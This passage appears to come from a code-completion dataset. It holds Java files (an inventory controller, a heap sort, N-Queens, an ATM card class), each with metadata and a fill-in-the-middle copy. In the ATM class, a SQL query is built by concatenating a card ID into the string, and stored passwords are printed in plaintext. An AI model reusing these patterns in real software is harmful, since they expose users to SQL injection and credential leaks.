lru.put(3, "lru"); lru.printLRU(); lru.put(4, "java"); lru.printLRU(); lru.get(1); lru.printLRU(); lru.get(4); lru.printLRU(); } }
1
33092_8
package net.messi.early.controller; import net.messi.early.request.ProductInventoryCacheRefreshRequest; import net.messi.early.request.ProductInventoryDBUpdateRequest; import net.messi.early.request.Request; import net.messi.early.service.GoodsService; import net.messi.early.service.ProductInventoryService; import net.messi.early.service.RequestAsyncProcessService; import net.messi.early.utils.JSONResult; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping("inventory") public class ProductInventoryController { @Autowired private GoodsService goodsService; @Autowired private RequestAsyncProcessService requestAsyncProcessService; @Autowired private ProductInventoryService productInventoryService; /** * 更新缓存 * * @param goodsId * @param inventoryCnt * @return */ @ResponseBody @RequestMapping("/updateInventory") public JSONResult updateInventory(Integer goodsId) { try { Request request = new ProductInventoryDBUpdateRequest(goodsId, goodsService); requestAsyncProcessService.process(request); } catch (Exception e) { e.printStackTrace(); } return JSONResult.ok(); } /** * 获取商品库存的缓存 * * @param goodsId * @return */ @ResponseBody @RequestMapping("/getInventory") public JSONResult getInventory(Integer goodsId) { try { Request request = new ProductInventoryCacheRefreshRequest(goodsId, goodsService); requestAsyncProcessService.process(request); long startTime = System.currentTimeMillis(); long endTime = 0L; long waitTime = 0L; Integer inventoryCnt = 0; //将请求仍给service异步处理以后,就需要while(true)一会儿,在这里hang住 //去尝试等待前面有商品库存更新的操作,同时缓存刷新的操作,将最新的数据刷新到缓存中 while (true) { if (waitTime > 200) { break; } //尝试去redis中读取一次商品库存的缓存 inventoryCnt = productInventoryService.getProductInventoryCache(goodsId); //如果读取到了结果,那么就返回 if (inventoryCnt != null) { return new JSONResult(inventoryCnt); } else { //如果没有读取到 Thread.sleep(20); endTime = System.currentTimeMillis(); waitTime = endTime - startTime; } } //直接从数据库查询 inventoryCnt = goodsService.lasteInventory(goodsId); if (inventoryCnt != null) return new JSONResult(inventoryCnt); } catch (Exception e) { e.printStackTrace(); } //没有查到 return JSONResult.ok(new Long(-1L)); } }
DuncanPlayer/quickearly
controller/ProductInventoryController.java
684
//没有查到
line_comment
zh-cn
package net.messi.early.controller; import net.messi.early.request.ProductInventoryCacheRefreshRequest; import net.messi.early.request.ProductInventoryDBUpdateRequest; import net.messi.early.request.Request; import net.messi.early.service.GoodsService; import net.messi.early.service.ProductInventoryService; import net.messi.early.service.RequestAsyncProcessService; import net.messi.early.utils.JSONResult; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping("inventory") public class ProductInventoryController { @Autowired private GoodsService goodsService; @Autowired private RequestAsyncProcessService requestAsyncProcessService; @Autowired private ProductInventoryService productInventoryService; /** * 更新缓存 * * @param goodsId * @param inventoryCnt * @return */ @ResponseBody @RequestMapping("/updateInventory") public JSONResult updateInventory(Integer goodsId) { try { Request request = new ProductInventoryDBUpdateRequest(goodsId, goodsService); requestAsyncProcessService.process(request); } catch (Exception e) { e.printStackTrace(); } return JSONResult.ok(); } /** * 获取商品库存的缓存 * * @param goodsId * @return */ @ResponseBody @RequestMapping("/getInventory") public JSONResult getInventory(Integer goodsId) { try { Request request = new ProductInventoryCacheRefreshRequest(goodsId, goodsService); requestAsyncProcessService.process(request); long startTime = System.currentTimeMillis(); long endTime = 0L; long waitTime = 0L; Integer inventoryCnt = 0; //将请求仍给service异步处理以后,就需要while(true)一会儿,在这里hang住 //去尝试等待前面有商品库存更新的操作,同时缓存刷新的操作,将最新的数据刷新到缓存中 while (true) { if (waitTime > 200) { break; } //尝试去redis中读取一次商品库存的缓存 inventoryCnt = productInventoryService.getProductInventoryCache(goodsId); //如果读取到了结果,那么就返回 if (inventoryCnt != null) { return new JSONResult(inventoryCnt); } else { //如果没有读取到 Thread.sleep(20); endTime = System.currentTimeMillis(); waitTime = endTime - startTime; } } //直接从数据库查询 inventoryCnt = goodsService.lasteInventory(goodsId); if (inventoryCnt != null) return new JSONResult(inventoryCnt); } catch (Exception e) { e.printStackTrace(); } //没有 <SUF> return JSONResult.ok(new Long(-1L)); } }
0
31852_9
/** * <p>Title: ByteTest.java</p> * <p>Description: </p> * <p>Copyright: Copyright (c) 2014</p> * <p>Company: ColdWorks</p> * @author xuming * @date 2014-8-13 * @version 1.0 */ package com.imgupload.web.action; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; /** * <p>Title: ByteTest.java</p> * <p>Description: </p> * <p>Copyright: Copyright (c) 2014</p> * <p>Company: ColdWorks</p> * @author xuming * @date 2014-8-13 * Email: vip6ming@126.com */ public class ByteTest { public static void main(String[] args) { // byte b[] = new byte[20]; // b[0] = 97; // String str = "a bc"; // //b = str.getBytes(); // for(byte be: b) { // System.out.print(be + " "); // } //文件读取与写入,测试下读出来的到底什么。a->97. getByte(); } /** * 文件的读取与写入 * * 1.文件的读取与写入都是以二进制流的形式来进行的。 * 当文件很大,便不能一次性的全部读入到内存中进行操作,这时就需要需要一个缓冲区来存放这些数据,缓冲区满了 * 就将这些数据写入到目标文件。再将新数据写入缓冲区,如此往复,直到全部读取完毕。 * 2.缓冲区。 * 使用byte数组(byte[] buffer = new byte[4*1024];)设置缓存区的大小对文件的读取写入速度是有影响的, * 但不是越大越大,值过大会引起内存溢出。(new byte[]操作是需要申请堆内存的,myeclipse默认情况下 * 80*1024*1024:80M就会java.lang.OutOfMemoryError: Java heap space ) * 3.编码。 * 如果读取的是文档类的,或是字符流,想要获取其中的文字,可以有 “new String(buffer)”. * 有时会出现乱码,这时你需要确定两点: * 1.文档或字符流的原本编码是否支持中文,编码格式为。 * 2.转换为字符串时设定字符编码为原编码格式相符。如:原编码为Unicode,则 new String(buffer, "Unicode"); * 另: * 如果想要输出二进制,看看流原本的样子,Integer.toBinrayString(*);参数可以是char,byte等。 * */ /** * * @author xuming * * @param * * @return * * @date 2014-8-13 */ public static void getByte() { try { File _file = new File("F://a.txt"); File _copyFile = new File("F://a_copy.txt"); // File _file = new File("F://img.jpg"); // File _copyFile = new File("F://img_copy.jpg"); FileInputStream in = new FileInputStream(_file); FileOutputStream out = new FileOutputStream(_copyFile); byte[] buffer = new byte[1*1024]; int i = 0; String str = ""; StringBuffer sb = new StringBuffer("abc"); while ((i = in.read(buffer)) !=-1) { // str = new String(buffer,0,i, "utf-8"); for(byte b: buffer) { sb.append(b+" "); } str = new String(buffer,0,i); System.out.println(buffer.length); out.write(buffer, 0, i); } System.out.println(sb + " " + str); // for(byte b: buffer) { // sb.append(Integer.toBinaryString(b)+""); // } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
DuoLife/Test_project
src/com/imgupload/web/action/ByteTest.java
1,148
/** * 文件的读取与写入 * * 1.文件的读取与写入都是以二进制流的形式来进行的。 * 当文件很大,便不能一次性的全部读入到内存中进行操作,这时就需要需要一个缓冲区来存放这些数据,缓冲区满了 * 就将这些数据写入到目标文件。再将新数据写入缓冲区,如此往复,直到全部读取完毕。 * 2.缓冲区。 * 使用byte数组(byte[] buffer = new byte[4*1024];)设置缓存区的大小对文件的读取写入速度是有影响的, * 但不是越大越大,值过大会引起内存溢出。(new byte[]操作是需要申请堆内存的,myeclipse默认情况下 * 80*1024*1024:80M就会java.lang.OutOfMemoryError: Java heap space ) * 3.编码。 * 如果读取的是文档类的,或是字符流,想要获取其中的文字,可以有 “new String(buffer)”. * 有时会出现乱码,这时你需要确定两点: * 1.文档或字符流的原本编码是否支持中文,编码格式为。 * 2.转换为字符串时设定字符编码为原编码格式相符。如:原编码为Unicode,则 new String(buffer, "Unicode"); * 另: * 如果想要输出二进制,看看流原本的样子,Integer.toBinrayString(*);参数可以是char,byte等。 * */
block_comment
zh-cn
/** * <p>Title: ByteTest.java</p> * <p>Description: </p> * <p>Copyright: Copyright (c) 2014</p> * <p>Company: ColdWorks</p> * @author xuming * @date 2014-8-13 * @version 1.0 */ package com.imgupload.web.action; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; /** * <p>Title: ByteTest.java</p> * <p>Description: </p> * <p>Copyright: Copyright (c) 2014</p> * <p>Company: ColdWorks</p> * @author xuming * @date 2014-8-13 * Email: vip6ming@126.com */ public class ByteTest { public static void main(String[] args) { // byte b[] = new byte[20]; // b[0] = 97; // String str = "a bc"; // //b = str.getBytes(); // for(byte be: b) { // System.out.print(be + " "); // } //文件读取与写入,测试下读出来的到底什么。a->97. getByte(); } /** * 文件的 <SUF>*/ /** * * @author xuming * * @param * * @return * * @date 2014-8-13 */ public static void getByte() { try { File _file = new File("F://a.txt"); File _copyFile = new File("F://a_copy.txt"); // File _file = new File("F://img.jpg"); // File _copyFile = new File("F://img_copy.jpg"); FileInputStream in = new FileInputStream(_file); FileOutputStream out = new FileOutputStream(_copyFile); byte[] buffer = new byte[1*1024]; int i = 0; String str = ""; StringBuffer sb = new StringBuffer("abc"); while ((i = in.read(buffer)) !=-1) { // str = new String(buffer,0,i, "utf-8"); for(byte b: buffer) { sb.append(b+" "); } str = new String(buffer,0,i); System.out.println(buffer.length); out.write(buffer, 0, i); } System.out.println(sb + " " + str); // for(byte b: buffer) { // sb.append(Integer.toBinaryString(b)+""); // } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } }
1
39930_16
//import java.util.ArrayList; //import java.util.Arrays; //import java.util.LinkedList; //import java.util.List; // // // //public class l51 { // public static void main(String[] args) { // Solution1 solution = new Solution1(); // System.out.println(solution.solveNQueens(4)); // } //} // // //class Solution { // List<List<String>> res = new ArrayList<>(); // // public List<List<String>> solveNQueens(int n) { // char[][] board = new char[n][n]; // for (char[] i : board){ // Arrays.fill(i,'.'); // } // backtrack(board,0); // return res; // } // // 路径:board 中小于 row 的那些行都已经成功放置了皇后 // // 选择列表:第 row 行的所有列都是放置皇后的选择 // // 结束条件:row 超过 board 的最后一行 // void backtrack(char[][] board, int row){ // if (row == board.length){ // res.add(array2List(board)); // return; // } // // for (int j = 0;j<board.length;j++){ // if (!check(board,row,j)){ // continue; // } // board[row][j] = 'Q'; // backtrack(board,row+1); // board[row][j] = '.'; // } // } // // List<String> array2List(char[][] board){ // List<String> res = new LinkedList<>(); // for (char[] i : board){ // StringBuffer sb = new StringBuffer(); // for (char j : i){ // sb.append(j); // } // res.add(sb.toString()); // } // return res; // } // // boolean check(char[][] board,int row,int col){ // int n = board.length; // // 检查列是否有皇后互相冲突 // for (int i = 0; i < n; i++) { // if (board[i][col] == 'Q') // return false; // } // // 检查右上方是否有皇后互相冲突 // for (int i = row - 1, j = col + 1; // i >= 0 && j < n; i--, j++) { // if (board[i][j] == 'Q') // return false; // } // // 检查左上方是否有皇后互相冲突 // for (int i = row - 1, j = col - 1; // i >= 0 && j >= 0; i--, j--) { // if (board[i][j] == 'Q') // return false; // } // return true; // } // // //}
Dwsy/LeetCode-JavaTest
src/main/java/l51.java
841
// // 路径:board 中小于 row 的那些行都已经成功放置了皇后
line_comment
zh-cn
//import java.util.ArrayList; //import java.util.Arrays; //import java.util.LinkedList; //import java.util.List; // // // //public class l51 { // public static void main(String[] args) { // Solution1 solution = new Solution1(); // System.out.println(solution.solveNQueens(4)); // } //} // // //class Solution { // List<List<String>> res = new ArrayList<>(); // // public List<List<String>> solveNQueens(int n) { // char[][] board = new char[n][n]; // for (char[] i : board){ // Arrays.fill(i,'.'); // } // backtrack(board,0); // return res; // } // // 路径 <SUF> // // 选择列表:第 row 行的所有列都是放置皇后的选择 // // 结束条件:row 超过 board 的最后一行 // void backtrack(char[][] board, int row){ // if (row == board.length){ // res.add(array2List(board)); // return; // } // // for (int j = 0;j<board.length;j++){ // if (!check(board,row,j)){ // continue; // } // board[row][j] = 'Q'; // backtrack(board,row+1); // board[row][j] = '.'; // } // } // // List<String> array2List(char[][] board){ // List<String> res = new LinkedList<>(); // for (char[] i : board){ // StringBuffer sb = new StringBuffer(); // for (char j : i){ // sb.append(j); // } // res.add(sb.toString()); // } // return res; // } // // boolean check(char[][] board,int row,int col){ // int n = board.length; // // 检查列是否有皇后互相冲突 // for (int i = 0; i < n; i++) { // if (board[i][col] == 'Q') // return false; // } // // 检查右上方是否有皇后互相冲突 // for (int i = row - 1, j = col + 1; // i >= 0 && j < n; i--, j++) { // if (board[i][j] == 'Q') // return false; // } // // 检查左上方是否有皇后互相冲突 // for (int i = row - 1, j = col - 1; // i >= 0 && j >= 0; i--, j--) { // if (board[i][j] == 'Q') // return false; // } // return true; // } // // //}
1
64649_2
package org.lanqiao.algo.elementary._03sort; import org.assertj.core.api.Assertions; import org.lanqiao.algo.util.Util; import java.util.Arrays; /** * 思路:首先要知道大顶堆和小顶堆,数组就是一个堆,每个i节点的左右孩子是2i+1和2i+2<br /> * 有了堆,将其堆化:从n/2-1个元素开始向下修复,将每个节点修复为小(大)顶堆<br /> * 修复完成后,数组具有小(大)顶堆的性质<br /> * 按序输出:小顶堆可以对数组逆序排序,每次交换栈顶和末尾元素,对栈顶进行向下修复,这样次小元素又到堆顶了<br /> * * 时间复杂度: 堆化:一半的元素修复,修复是单分支的,所以整体堆化为nlgn/2<br /> * 排序:n个元素都要取出,因此调整n次,每次调整修复同上是lgn的,整体为nlgn * 空间复杂度:不需要开辟辅助空间<br /> * 原址排序<br /> * 稳定性:<br /> */ public class _7HeapSort { static void makeMinHeap(int[] A) { int n = A.length; for (int i = n / 2 - 1; i >= 0; i--) { MinHeapFixDown(A, i, n); } } static void MinHeapFixDown(int[] A, int i, int n) { // 找到左右孩子 int left = 2 * i + 1; int right = 2 * i + 2; //左孩子已经越界,i就是叶子节点 if (left >= n) { return; } int min = left; if (right >= n) { min = left; } else { if (A[right] < A[left]) { min = right; } } //min指向了左右孩子中较小的那个 // 如果A[i]比两个孩子都要小,不用调整 if (A[i] <= A[min]) { return; } //否则,找到两个孩子中较小的,和i交换 int temp = A[i]; A[i] = A[min]; A[min] = temp; //小孩子那个位置的值发生了变化,i变更为小孩子那个位置,递归调整 MinHeapFixDown(A, min, n); } // // public static void sortDesc(int[] arr) { // makeMinHeap( arr ); // 1.建立小顶堆 // int length = arr.length; // for (int i = length - 1; i >= 1; i--) { // Util.swap( arr, i, 0 ); // 堆顶(最小)元素换到元素末尾,末尾元素到了堆顶 // MinHeapFixDown( arr, 0, i );// 调整堆顶,边界递减 // } // } static void sort(int[] A) { //先对A进行堆化 makeMinHeap(A); for (int x = A.length - 1; x >= 0; x--) { //把堆顶,0号元素和最后一个元素对调 Util.swap(A, 0, x); //缩小堆的范围,对堆顶元素进行向下调整 MinHeapFixDown(A, 0, x); } } public static void main(String[] args) { int[] arr = Util.getRandomArr(10, 1, 100); System.out.println( "begin..." + Arrays.toString( arr ) ); sort(arr); System.out.println( "final..." + Arrays.toString( arr ) ); Assertions.assertThat( Util.checkOrdered( arr, false ) ).isTrue(); } }
Dxoca/Algorithm_LanQiao
src/main/java/org/lanqiao/algo/elementary/_03sort/_7HeapSort.java
982
//左孩子已经越界,i就是叶子节点
line_comment
zh-cn
package org.lanqiao.algo.elementary._03sort; import org.assertj.core.api.Assertions; import org.lanqiao.algo.util.Util; import java.util.Arrays; /** * 思路:首先要知道大顶堆和小顶堆,数组就是一个堆,每个i节点的左右孩子是2i+1和2i+2<br /> * 有了堆,将其堆化:从n/2-1个元素开始向下修复,将每个节点修复为小(大)顶堆<br /> * 修复完成后,数组具有小(大)顶堆的性质<br /> * 按序输出:小顶堆可以对数组逆序排序,每次交换栈顶和末尾元素,对栈顶进行向下修复,这样次小元素又到堆顶了<br /> * * 时间复杂度: 堆化:一半的元素修复,修复是单分支的,所以整体堆化为nlgn/2<br /> * 排序:n个元素都要取出,因此调整n次,每次调整修复同上是lgn的,整体为nlgn * 空间复杂度:不需要开辟辅助空间<br /> * 原址排序<br /> * 稳定性:<br /> */ public class _7HeapSort { static void makeMinHeap(int[] A) { int n = A.length; for (int i = n / 2 - 1; i >= 0; i--) { MinHeapFixDown(A, i, n); } } static void MinHeapFixDown(int[] A, int i, int n) { // 找到左右孩子 int left = 2 * i + 1; int right = 2 * i + 2; //左孩 <SUF> if (left >= n) { return; } int min = left; if (right >= n) { min = left; } else { if (A[right] < A[left]) { min = right; } } //min指向了左右孩子中较小的那个 // 如果A[i]比两个孩子都要小,不用调整 if (A[i] <= A[min]) { return; } //否则,找到两个孩子中较小的,和i交换 int temp = A[i]; A[i] = A[min]; A[min] = temp; //小孩子那个位置的值发生了变化,i变更为小孩子那个位置,递归调整 MinHeapFixDown(A, min, n); } // // public static void sortDesc(int[] arr) { // makeMinHeap( arr ); // 1.建立小顶堆 // int length = arr.length; // for (int i = length - 1; i >= 1; i--) { // Util.swap( arr, i, 0 ); // 堆顶(最小)元素换到元素末尾,末尾元素到了堆顶 // MinHeapFixDown( arr, 0, i );// 调整堆顶,边界递减 // } // } static void sort(int[] A) { //先对A进行堆化 makeMinHeap(A); for (int x = A.length - 1; x >= 0; x--) { //把堆顶,0号元素和最后一个元素对调 Util.swap(A, 0, x); //缩小堆的范围,对堆顶元素进行向下调整 MinHeapFixDown(A, 0, x); } } public static void main(String[] args) { int[] arr = Util.getRandomArr(10, 1, 100); System.out.println( "begin..." + Arrays.toString( arr ) ); sort(arr); System.out.println( "final..." + Arrays.toString( arr ) ); Assertions.assertThat( Util.checkOrdered( arr, false ) ).isTrue(); } }
0
16805_4
package comm; import java.sql.*; import java.util.Objects; import static comm.DBConfig.*; public class Card { private String cardID; private String userName; private String passWord; private int balance; private boolean exist; public int getBalance() { return balance; } // public void setBanlance(float banlance) {this.banlance = banlance;} public String getUserName() {return userName;} public void setUserName(String userName) {this.userName = userName; } public String getCardID() { return cardID; } public void setCardID(String cardID) { this.cardID = cardID; } public String getPassWord() { return passWord; } // public void setPassWord(String passWord) { // this.passWord = passWord; // } public Card(String cardID, String passWord, int balance){ this.cardID = cardID; this.passWord = passWord; this.balance = balance; getInfo(cardID); } public Card(String cardID){ getInfo(cardID); } //从数据库获取信息 public void getInfo(String cardID){ exist = false; Connection conn = null; Statement stmt = null; try{ // 注册 JDBC 驱动 Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行查询 stmt = conn.createStatement(); String sql; sql = "SELECT CardID, UserName, PassWord, Balance FROM user where CardID =" + cardID; ResultSet rs = stmt.executeQuery(sql); // 展开结果集数据库 while(rs.next()){ // 通过字段检索 String id = rs.getString("CardID"); String name = rs.getString("UserName"); String pwd = rs.getString("PassWord"); int balance = rs.getInt("Balance"); // 输出数据 System.out.print("CardID: " + id); System.out.print(" UserName: " + name); System.out.print(" PassWord: " + pwd); System.out.print(" Balance: " + balance); System.out.print("\n"); this.cardID = id; this.userName = name; this.balance = balance; this.passWord=pwd; if(!Objects.equals(id, "")) exist=true; } // 完成后关闭 rs.close(); stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } } // 判断账号是否存在 public boolean exist(){ System.out.println(exist); return exist; } // 判断密码是否正确 public boolean judgePwd(String pwd){ return Objects.equals(pwd, this.passWord); } // 改密 public boolean setPassWord(String pwd){ if(exist()){ Connection conn = null; Statement stmt = null; try{ // 注册 JDBC 驱动 Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行修改 stmt = conn.createStatement(); String sql; sql = "UPDATE user SET Password=? where CardID =?"; PreparedStatement pst = conn.prepareStatement(sql); pst.setString(1,pwd); pst.setString(2,cardID); pst.executeUpdate(); // 完成后关闭 stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } passWord=pwd; } return true; } //修改余额 public boolean setBanlance(int balance){ if(exist()){ Connection conn = null; Statement stmt = null; try{ // 注册 JDBC 驱动 Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行修改 stmt = conn.createStatement(); String sql; sql = "UPDATE user SET Balance=? where CardID =?"; PreparedStatement pst = conn.prepareStatement(sql); pst.setInt(1,balance); pst.setString(2,cardID); pst.executeUpdate(); // 完成后关闭 stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } this.balance=balance; } return true; } }
Dycley/ATM
src/comm/Card.java
1,527
// 注册 JDBC 驱动
line_comment
zh-cn
package comm; import java.sql.*; import java.util.Objects; import static comm.DBConfig.*; public class Card { private String cardID; private String userName; private String passWord; private int balance; private boolean exist; public int getBalance() { return balance; } // public void setBanlance(float banlance) {this.banlance = banlance;} public String getUserName() {return userName;} public void setUserName(String userName) {this.userName = userName; } public String getCardID() { return cardID; } public void setCardID(String cardID) { this.cardID = cardID; } public String getPassWord() { return passWord; } // public void setPassWord(String passWord) { // this.passWord = passWord; // } public Card(String cardID, String passWord, int balance){ this.cardID = cardID; this.passWord = passWord; this.balance = balance; getInfo(cardID); } public Card(String cardID){ getInfo(cardID); } //从数据库获取信息 public void getInfo(String cardID){ exist = false; Connection conn = null; Statement stmt = null; try{ // 注册 <SUF> Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行查询 stmt = conn.createStatement(); String sql; sql = "SELECT CardID, UserName, PassWord, Balance FROM user where CardID =" + cardID; ResultSet rs = stmt.executeQuery(sql); // 展开结果集数据库 while(rs.next()){ // 通过字段检索 String id = rs.getString("CardID"); String name = rs.getString("UserName"); String pwd = rs.getString("PassWord"); int balance = rs.getInt("Balance"); // 输出数据 System.out.print("CardID: " + id); System.out.print(" UserName: " + name); System.out.print(" PassWord: " + pwd); System.out.print(" Balance: " + balance); System.out.print("\n"); this.cardID = id; this.userName = name; this.balance = balance; this.passWord=pwd; if(!Objects.equals(id, "")) exist=true; } // 完成后关闭 rs.close(); stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } } // 判断账号是否存在 public boolean exist(){ System.out.println(exist); return exist; } // 判断密码是否正确 public boolean judgePwd(String pwd){ return Objects.equals(pwd, this.passWord); } // 改密 public boolean setPassWord(String pwd){ if(exist()){ Connection conn = null; Statement stmt = null; try{ // 注册 JDBC 驱动 Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行修改 stmt = conn.createStatement(); String sql; sql = "UPDATE user SET Password=? where CardID =?"; PreparedStatement pst = conn.prepareStatement(sql); pst.setString(1,pwd); pst.setString(2,cardID); pst.executeUpdate(); // 完成后关闭 stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } passWord=pwd; } return true; } //修改余额 public boolean setBanlance(int balance){ if(exist()){ Connection conn = null; Statement stmt = null; try{ // 注册 JDBC 驱动 Class.forName(JDBC_DRIVER); // 打开链接 System.out.println("连接数据库..."); conn = DriverManager.getConnection(DB_URL,USER,PASS); // 执行修改 stmt = conn.createStatement(); String sql; sql = "UPDATE user SET Balance=? where CardID =?"; PreparedStatement pst = conn.prepareStatement(sql); pst.setInt(1,balance); pst.setString(2,cardID); pst.executeUpdate(); // 完成后关闭 stmt.close(); conn.close(); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 错误 e.printStackTrace(); }finally{ // 关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ }// 什么都不做 try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } } this.balance=balance; } return true; } }
0
33350_3
package com.cqu; import com.cqu.JDBC.JDBCUtils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; public class User { private int id; private String name; private boolean sex; private int age; private int height; private int weight; private ArrayList<Node> state; private ArrayList<String> conclusion; public static final boolean male = true; public static final boolean female = false; public User() { this.state = new ArrayList<>(); this.conclusion = new ArrayList<>(); } /** * 将基础信息与结论加载进数据库中保存 * @return */ public boolean storeInDB(){ Connection connection = null; PreparedStatement preps = null; ResultSet resultSet = null; try { connection = JDBCUtils.getConnection(); connection.setTransactionIsolation(8); connection.setAutoCommit(false);//开启事务 preps = connection.prepareStatement("INSERT INTO users (name,sex,age,height,weight) VALUES (?,?,?,?,?)"); preps.setString(1,this.name); preps.setBoolean(2,this.sex); preps.setInt(3,this.age); preps.setInt(4,this.height); preps.setInt(5,this.weight); preps.executeUpdate(); preps = connection.prepareStatement("select @@identity "); resultSet = preps.executeQuery(); resultSet.next(); int key = resultSet.getInt("@@identity"); for (String con : conclusion) { preps = connection.prepareStatement("INSERT INTO conclusion (user_id,name,conclusion) VALUES (?,?,?)"); preps.setInt(1,key); preps.setString(2,this.name); preps.setString(3,con); preps.executeUpdate(); } connection.commit(); } catch (SQLException e) { e.printStackTrace(); }finally { JDBCUtils.close(resultSet,preps,connection); } return true; } /** * 将布尔值男女转换成字符串男女 * @param sex * @return */ public static String sexChange(boolean sex){ if (sex == male) { return "男"; } else { return "女"; } } /** * 打印一次推理过后的结论 */ public void printConclusion(){ System.out.println("-----------------------------"); System.out.println("姓名:"+this.name+" " + "性别:"+sexChange(this.sex)+" " +"年龄:"+this.age+" " +"体重:"+this.weight+"KG"+" " +"身高:"+this.height+"cm"); System.out.println("-----------------------------"); for (String con : conclusion) { System.out.println((conclusion.indexOf(con)+1)+"、"+con); } } /** * 收集状态列表中含有“适合”的结论 */ public void collectConclusion(){ for (Node node : state) { if (node.parameter.contains("适合")){ if (node.paraValue == true) { conclusion.add(node.parameter); } else { conclusion.add("不建议"+node.parameter); } } } } /** * user状态节点中是否含有指定节点 * @param node * @return */ public boolean stateContains(Node node){ for (Node node1 : state) { if (node.equals(node1)) { return true; } } return false; } /** * 添加一个节点 * @param node */ public boolean add(Node node) { //1、添加前先判断是否有节点名重复 boolean found = false; boolean update = false; for (int i = 0; i < state.size(); i++) { if (node.equalsParameter(state.get(i))) { found = true; //2、判断参数值是否重复 if (node.equalsValue(state.get(i))) { break; } else { update = true; state.set(i,node); } } } if (!found) { update =true; state.add(node); } return update; } public int getId() { return id; } public String getName() { return name; } public boolean isSex() { return sex; } public int getAge() { return age; } public int getHeight() { return height; } public int getWeight() { return weight; } public ArrayList<Node> getState() { return state; } public ArrayList<String> getConclusion() { return conclusion; } public void setId(int id) { this.id = id; } public void setName(String name) { this.name = name; } public void setSex(boolean sex) { this.sex = sex; } public void setAge(int age) { this.age = age; } public void setHeight(int height) { this.height = height; } public void setWeight(int weight) { this.weight = weight; } }
Dylan4J/reasoningSystem
firstOrder/src/com/cqu/User.java
1,246
/** * 打印一次推理过后的结论 */
block_comment
zh-cn
package com.cqu; import com.cqu.JDBC.JDBCUtils; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; public class User { private int id; private String name; private boolean sex; private int age; private int height; private int weight; private ArrayList<Node> state; private ArrayList<String> conclusion; public static final boolean male = true; public static final boolean female = false; public User() { this.state = new ArrayList<>(); this.conclusion = new ArrayList<>(); } /** * 将基础信息与结论加载进数据库中保存 * @return */ public boolean storeInDB(){ Connection connection = null; PreparedStatement preps = null; ResultSet resultSet = null; try { connection = JDBCUtils.getConnection(); connection.setTransactionIsolation(8); connection.setAutoCommit(false);//开启事务 preps = connection.prepareStatement("INSERT INTO users (name,sex,age,height,weight) VALUES (?,?,?,?,?)"); preps.setString(1,this.name); preps.setBoolean(2,this.sex); preps.setInt(3,this.age); preps.setInt(4,this.height); preps.setInt(5,this.weight); preps.executeUpdate(); preps = connection.prepareStatement("select @@identity "); resultSet = preps.executeQuery(); resultSet.next(); int key = resultSet.getInt("@@identity"); for (String con : conclusion) { preps = connection.prepareStatement("INSERT INTO conclusion (user_id,name,conclusion) VALUES (?,?,?)"); preps.setInt(1,key); preps.setString(2,this.name); preps.setString(3,con); preps.executeUpdate(); } connection.commit(); } catch (SQLException e) { e.printStackTrace(); }finally { JDBCUtils.close(resultSet,preps,connection); } return true; } /** * 将布尔值男女转换成字符串男女 * @param sex * @return */ public static String sexChange(boolean sex){ if (sex == male) { return "男"; } else { return "女"; } } /** * 打印一 